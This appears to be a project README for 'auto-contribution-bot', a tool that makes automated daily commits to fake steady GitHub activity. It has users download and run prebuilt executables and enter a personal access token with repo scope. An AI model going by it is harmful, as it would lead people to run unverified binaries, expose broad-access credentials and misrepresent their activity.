| layout | default |
|---|---|
| title | 🤖 auto-contribution-bot - Keep Your GitHub Activity Active |
| description | 🤖 Automate daily contributions on GitHub to maintain your streak effortlessly, keeping your profile active and vibrant without the extra effort. |
auto-contribution-bot is a simple, yet effective tool that automates daily commits to your GitHub repository. This bot helps maintain a vibrant contribution graph, ensuring your activity appears consistent. It is perfect for those looking to keep their GitHub profile active without daily manual input.
To run auto-contribution-bot, ensure your system meets the following requirements:
- Operating System: Windows, MacOS, or Linux
- An active GitHub account
- Basic familiarity with using GitHub
Before using the bot, make sure you have:
- Git installed on your computer. If you do not have it installed, you can download it from git-scm.com.
- A repository on GitHub where you want to add your daily commits.
To get the auto-contribution-bot, visit this page to download: Download auto-contribution-bot.
- Click on the link above to go to the Releases page.
- Look for the latest version, which will be marked prominently.
- Download the relevant file for your operating system (Windows, MacOS, or Linux) by clicking on it.
auto-contribution-bot-windows.exefor Windows usersauto-contribution-bot-macosfor MacOS usersauto-contribution-bot-linuxfor Linux users
Once you have downloaded the appropriate file, follow these steps to run the bot:
- Locate the downloaded file on your computer.
- For Windows:
- Double-click on
auto-contribution-bot-windows.exe.
- Double-click on
- For MacOS and Linux:
- Open a terminal window.
- Navigate to the directory where you downloaded the file.
- Run the command:
chmod +x auto-contribution-bot-macos(or.linux) to make it executable. - Then, type
./auto-contribution-bot-macos(or./auto-contribution-bot-linux) and press Enter.
After launching the bot, you will need to configure it to commit to your desired GitHub repository.
- Provide your GitHub username and personal access token during the setup. This token allows the bot to make commits on your behalf.
- Specify the repository name in which you want the bot to create daily commits.
To create a personal access token:
- Log into your GitHub account.
- Navigate to Settings > Developer settings > Personal access tokens.
- Click on Generate new token, give it a name, and select the relevant permissions (at a minimum, select
reposcope). - Copy the generated token and use it in the bot's setup.
Once configured, the auto-contribution-bot will automatically make a commit every day at a specified time. You need to keep the bot running on your system for it to work seamlessly.
The bot will add a simple message like "Automated contribution" to your repository. You can adjust the commit message in the configuration stage if desired.
If you encounter issues while using the bot, try the following fixes:
- Ensure your personal access token has the correct scopes.
- Double-check that your repository name is correctly entered.
- Make sure you have Git installed and are using an updated version.
For further information, you may want to explore:
- GitHub Actions, to understand how automation works on GitHub.
- Git documentation for more details on commands and workflows.
Next steps:
- For more usage tips and features, visit our GitHub Wiki.
Thank you for choosing auto-contribution-bot. We hope it helps keep your GitHub contributions consistent and your projects active!